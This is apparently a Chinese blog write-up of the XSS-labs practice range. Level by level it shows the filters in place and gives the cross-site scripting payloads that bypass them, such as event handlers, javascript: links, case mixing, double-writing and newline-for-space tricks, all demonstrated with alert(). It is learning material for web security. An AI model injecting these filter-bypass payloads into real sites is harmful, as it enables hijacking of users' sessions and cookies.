XSS-labs
XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客
该补习补习xss漏洞了
漏洞原理
网站存在 静态 和 动态 网站
xss 针对的网站 就是 动态网站
动态网站会根据 用户的环境 与 需求 反馈出 不同的响应静态页面 代码写死了 只会存在代码中有的内容
通过动态网站 用户体验会大大加深 但是会存在漏洞 xss
XSS 是一种注入漏洞通过用户输入 在代码页中插入 恶意语句 从而实现注入攻击成功 可以获取但不止 COOKIE 会话 和 隐私页面
首先我们来看看最简单
<?php$xss = $_GET['name'];
echo $xss;?>
然后我们通过 get 传递漏洞
<script>alert(1)</script>

xss需要通过php的输出指令来输出
我们通过做题目来继续了解吧
打开靶场
Level1 【无过滤】

我们能发现 这三个地方
然后我们回去看看源代码

能发现 我们输入什么 他就存储在源代码什么
这里就是动态的
如果和sql注入一样 我们插入恶意代码呢
<script>alert(1)</script>这里通过 alert 来弹窗这里 script 表示 JavaScript代码 / 表示结束了那么这里插入后<h2 align=center>欢迎用户test1</h2><center><img src=level1.png></center>就变为了<h2 align=center>欢迎用户test1<script>alert(1)</script></h2><center><img src=level1.png></center>实现了 alert 弹窗
我们就实现了 第一题
Level2 【参数】
我们依然看看源代码

这里我们发现了 我们输入的值 被当做参数了
value="1">
这里我们就想到了 sql注入的闭合了
<script>标签
value="1">如果我们自己将其闭合呢我们输入 ">就会变为value="">">这里 其实就是value="">
">然后我们构造恶意代码value=""><script>alert(1)</script>
">就会实现xss注入
所以payload 就是
"><script>alert(1)</script>

<img>标签
src
是资源的标签
一般
<img src="/i/eg_tulip.jpg" />
这样使用
如果读取不到 我们可以设置 onerror属性 来输出内容 这里就存在 xss
"> <img src="666" onerror=alert()> <"
onmouseout 鼠标移出图片
附属于 img 下的属性
payload为
"> <img src=666 onmouseout="alert()"> <"
onmouseover 鼠标移动到图片
"> <img src=666 onmouseover="alert()"> <"
data 伪协议
这里是利用 iframe标签
"> <iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+> <"PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+ 为 <sricpt>alert()</sricpt>

Level3 【htmlspecialchars】
我们查看代码 没有发现和上一题有什么不一样的
所以我们去继续使用上题的payload
"><script>alert(1)</script>

发现被实体化了
并且只过滤了 <>
这里我们就需要想到是htmlspecialchars
我们去看xsslab源代码

确实是这样

这里其实预定义了转义的内容 因为单引号没有被转义 但是其实可以实现的
&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>
发现就是为了让 <>里面的转变为字符串 失去闭合作用
单引号绕过
这里我们需要通过 ' 绕过
因为我们的<> 会被实体化所以我们需要运用不需要<>的payload我们可以利用 onfocus 事件
onfocus事件
当 页面中存在 输入框等 需要存在点击的界面时onfocus 就可以被触发

这里就存在一个很明显的例子
既然 onfocus可以出发函数 那么我们就可以通过执行
这里就可以写入payload
onfocus=javascript:alert()
这样就可以绕过 过滤 <>
那我们如何执行呢
我们输入一个 ' 时变成了下面这个
value="" '="">我们输入 'abcd'变为了value="" abcd''="">我们输入 payload' onfocus=javascript:alert(1) ' 就会变为value="" onfocus=javascript:alert(1) '' ="">从而实现了闭合
所以最终payload
' onfocus=javascript:alert(1) '
Level4 【过滤><】
我们首先可以判断是否存在过滤
'"&<>

发现只有3个了 过滤了 <>
用上题目的payload
' onfocus=javascript:alert(1) '
失效了
我们看看代码

进行修改payload
" onfocus=javascript:alert(1) '
Level5 【过滤script】
我们使用第一题的payload直接上去

发现 script 变为了 scr_ipt
我们去看看源代码

发现过滤了 on 和 script
所以我们使用其他方式
a herf
<html
<p>123</p>
<a href=javascript:alert("yes")>xxxxxx</a>
</html>
我们先给出payload
然后我们解释一下

通过 a标签 然后点击 我们可以实现跳转等操作
既然可以实现跳转 那我们也可以实现 执行JavaScript命令
我们开始做题
我们先传入内容
<a href=javascript:alert()>xxxxxx</a>

我们需要闭合 所以修改paylaod
"> <a href=javascript:alert()>xxxxx</a>

还需要将后面的 "> 闭合
所以最后的payload为
"> <a href=javascript:alert()>xxxxx</a> <"

点击即可实现
Level6 【过滤 a href】
我们把上面的 payload 丢进去看看

发现 过滤 了 a href

但是放出来了 大小写 所以我们可以
大小写绕过
"> <ScRipt>alert()</ScRipt> <"
或者
"> <a HrEf=javascript:alert()>xxxx</a> <"
又或者
" Onfocus=javascript:alert() "
Level7 【替换为空】
我们先上关键词看看
" Onfocus <ScRipt> <a Href=javascript:alert()>
能发现返回值是

" focus <> <a =java:alert()>
全部替换为空了
这里我们使用
双写绕过
开始构造
" OOnnfocus=javascscriptript:alert() ""> <a hrhrefef=javascscriptript:alert()>xx</a> <"
Level8 【a href标签自动url解码】
更新一下 关键词
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
看看过滤了啥


这里为什么我们无法直接通过input来xss 因为存在 htmlspecialchars函数 会吧我们输入的内容
直接作为字符串输出

引号被过滤了 无法实现闭合
所以没有用了
我们需要通过下面的 a href标签输出了
但是下面又存在过滤
我们如何实现呢
其实
a href 存在自动解密 url的功能
所以我们只需要通过编码绕过 过滤 如何通过 a href 编码执行即可
javascript:alert()javascript:alert()unicode编码
直接输入即可
然后点击 友情链接即可
Level9 【判断http在不在标签内】
我们看看源代码

strpos 查看 http://是否在 输入里面 如果不在 输出不合法
这里就好办了
我们通过注释输入http://即可
运用上一道题目的payload
javascript:alert() /* http:// */

这里就看到 http:// 是被注释掉了
Level10 【闭合 fake hidden】
看看源代码

发现需要另一个来传递
我们这里并且过滤了 <>
但是其实还是很简单的
" onfocus=javascript:alert() " type=text

Level11 【Referer注入】
我们再来看看源代码

通过referer
为什么无法通过 t_sort
因为 htmlspecialchars 无法闭合 " 会被实体化
所以我们通过 referer来进行 xss
referer 的内容 就和 上面一样
" onfocus=javascript:alert() " type=text


Level12 【UA注入】
" onfocus=javascript:alert() " type=text


Level13 【cookie注入】
" onfocus=javascript:alert() " type=text

Level14 【通过图片属性实现xss】
这里我的小皮环境有问题 无法实现文件上传
这里 主要就是通过 图片的属性解析 然后我们写入 xss语句
这样就会报错
[靶场] XSS-Labs 14-20_3hex的博客-CSDN博客
Level15 【通过src访问文件执行】
这里的意思就是src是访问了 一个图片
那我们可以通过这个src访问第一题的php 然后通过 第一题的php来执行
但是我还是无法实现 可能我php没开启属性
xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客
Level16 【绕过空格】
XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客

查看代码
发现过滤了 空格 和 /
首先就是查找一个不需要/的触发标签
这里我选择
<video><source onerror="alert(1)">
其次需要绕过空格
我们可以首先看看 这两个空格是什么编码

那么这里面我们可以使用 %0a绕过
所以payload就是
<video><source%0Aonerror="alert(1)">

Level17
后面是 flash的插件了
我觉得没有必要做了 因为现在 flash已经被大多数浏览器抛弃了
相关文章:
XSS-labs
XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客 该补习补习xss漏洞了 漏洞原理 网站存在 静态 和 动态 网站 xss 针对的网站 就是 动态网站 动态网站会根据 用户的环境 与 需求 反馈出 不同的响应静态页面 代码写死了 只会存在代码中有的内容 通过动态网站 用户体…...
C++简单实现AVL树
目录 一、AVL树的概念 二、AVL树的性质 三、AVL树节点的定义 四、AVL树的插入 4.1 parent的平衡因子为0 4.2 parent的平衡因子为1或-1 4.3 parent的平衡因子为2或-2 4.3.1 左单旋 4.3.2 右单旋 4.3.3 先左单旋再右单旋 4.3.4 先右单旋再左单旋 4.4 插入节点完整代码…...
UE4 Cesium 与ultra dynamic sky插件天气融合
晴天: 雨天: 雨天湿度: 小雪: 中雪: 找到该路径这个材质: 双击点开: 将Wet_Weather_Effects与Snow_Weather_Effects复制下来,包括参数节点 找到该路径这个材质,双击点开&…...
SpringCloud Gateway--Predicate/断言(详细介绍)下
😀前言 本篇博文是关于SpringCloud Gateway–Predicate/断言(详细介绍)下,希望你能够喜欢 🏠个人主页:晨犀主页 🧑个人简介:大家好,我是晨犀,希望我的文章可以…...
SOC芯片学习--GPIO简介
原创 硬件设计技术 硬件设计技术 2023-07-20 00:04 发表于广东 收录于合集#集成电路--IC7个 一、GPIO定义、分类: GPIO(英语:General-purpose input/output),通用型之输入输出的简称,其接脚可以供使用者由…...
skywalking源码本地编译运行经验总结
前言 最近工作原因在弄skywalking,为了进一步熟悉拉了代码下来准备debug,但是编译启动项目我就费了老大劲了,所以准备写这篇,帮兄弟们少踩点坑。 正确步骤 既然是用开源的东西,那么最好就是按照人家的方式使用&…...
K8s架构简述
以部署一个nginx服务说明kubernetes系统各个组件调用关系: 一旦kubernetes环境启动之后,master和node都会将自身的信息存储到etcd数据库中 一个nginx服务的安装请求会首先被发送到master节点的apiServer组件 apiServer组件会调用scheduler组件来决定到底…...
linkedlist和arraylist的区别
LinkedList和ArrayList都是常见的数据结构,用于存储和操作集合元素,如果需要频繁进行插入和删除操作,LinkedList可能更适合。如果需要快速随机访问和较小的内存占用,ArrayList可能更合适。 以下是它们之间存在一些关键的区别&…...
[尚硅谷React笔记]——第2章 React面向组件编程
目录: 基本理解和使用: 使用React开发者工具调试函数式组件复习类的基本知识类式组件组件三大核心属性1: state 复习类中方法this指向: 复习bind函数:解决changeWeather中this指向问题:一般写法:state.htm…...
嵌入式学习笔记(40)看门狗定时器
7.5.1什么是看门狗、有何用 (1)看门狗定时器和普通定时器并无本质区别。定时器可以设定一个时间,在这个时间完成之前定时器不断计时,时间到的时候定时器会复位CPU(重启系统)。 (2)系统正常工作的时候当然不希望被重启࿰…...
点击、拖拉拽,BI系统让业务掌握数据分析主动权
在今天的商业环境中,数据分析已经成为企业获取竞争优势的关键因素之一。然而,许多企业在面对复杂的数据分析工具时,却常常感到困扰。这些工具往往需要专业的技术人员操作,而且界面复杂,难以理解和使用。对业务人员来说…...
C++模拟题[第一周-T1] 扑克
[第一周-T1] 扑克 题目描述 斗地主是一种使用 A \tt A A 到 K \tt K K 加上大小王的共 54 54 54 张扑克牌来进行的游戏,其中大小王各一张,其它数码牌各四张。在斗地主中,牌的大小关系根据牌的数码表示如下: 3 < 4 < 5 …...
ciscn_2019_s_9
ciscn_2019_s_9 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments32位,啥也没开,开心愉悦写shellcode int pwn() {char s[24]; // [esp8…...
微信、支付宝、百度、抖音开放平台第三方代小程序开发总结
大家好,我是小悟 小伙伴们都开启小长假了吧,值此中秋国庆双节之际,小悟祝所有的小伙伴们节日快乐。 支付宝社区很用心,还特意给寄了袋月饼,愿中秋节的圆月带给你身体健康,幸福团圆,国庆节的旗帜…...
C语言协程
协程(Coroutine)是一种程序运行方式,相比于线程和进程,协程更加轻量级,可以被视为一种用户态的线程,不需要内核的参与。 协程的特点在于其执行过程中可以被挂起(Suspend)࿰…...
RK3588安装python3.11(ubuntu18.04)
1.前言 看到rknn_toolkit_lite2更新了python3.11的安装包,马上更新一下 2.RK3588安装python3.11 Ubuntu上编译Python 3.11,您可以按照以下步骤进行操作: (1) 准备编译环境 在开始之前,确保您的系统已安装必要的编译工具和依赖项…...
‘Could not find first log file name in binary log index file‘的解决办法
mysql主从报异常Got fatal error 1236 from master when reading data from binary log: Could not find first log file name in binary log index file 数据库主从出错: Slave_IO_Running: No 一方面原因是因为网络通信的问题也有可能是日志读取错误的问题。以下是日志出错…...
快速排序与冒泡排序以及代码
快速排序 快速排序(Quicksort)是一种常用的排序算法,它基于分治的思想。 时间复杂度:O(nlogn) 空间复杂度:O(logn) 快速排序的基本思想如下: 选择一个元素…...
[React] 性能优化相关 (一)
文章目录 1.React.memo2.useMemo3.useCallback4.useTransition5.useDeferredValue 1.React.memo 当父组件被重新渲染的时候,也会触发子组件的重新渲染,这样就多出了无意义的性能开销。如果子组件的状态没有发生变化,则子组件是不需要被重新渲…...
云中网络的隔离GREVXLAN
底层的物理网络设备组成的网络我们称为 Underlay 网络,而用于虚拟机和云中的这些技术组成的网络称为 Overlay 网络,这是一种基于物理网络的虚拟化网络实现。 第一个技术是 GRE,全称 Generic Routing Encapsulation,它是一种 IP-o…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...
ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放
简介 前面两期文章我们介绍了I2S的读取和写入,一个是通过INMP441麦克风模块采集音频,一个是通过PCM5102A模块播放音频,那如果我们将两者结合起来,将麦克风采集到的音频通过PCM5102A播放,是不是就可以做一个扩音器了呢…...
【单片机期末】单片机系统设计
主要内容:系统状态机,系统时基,系统需求分析,系统构建,系统状态流图 一、题目要求 二、绘制系统状态流图 题目:根据上述描述绘制系统状态流图,注明状态转移条件及方向。 三、利用定时器产生时…...
微服务商城-商品微服务
数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
优选算法第十二讲:队列 + 宽搜 优先级队列
优选算法第十二讲:队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...
视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)
前言: 最近在做行为检测相关的模型,用的是时空图卷积网络(STGCN),但原有kinetic-400数据集数据质量较低,需要进行细粒度的标注,同时粗略搜了下已有开源工具基本都集中于图像分割这块,…...
C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...

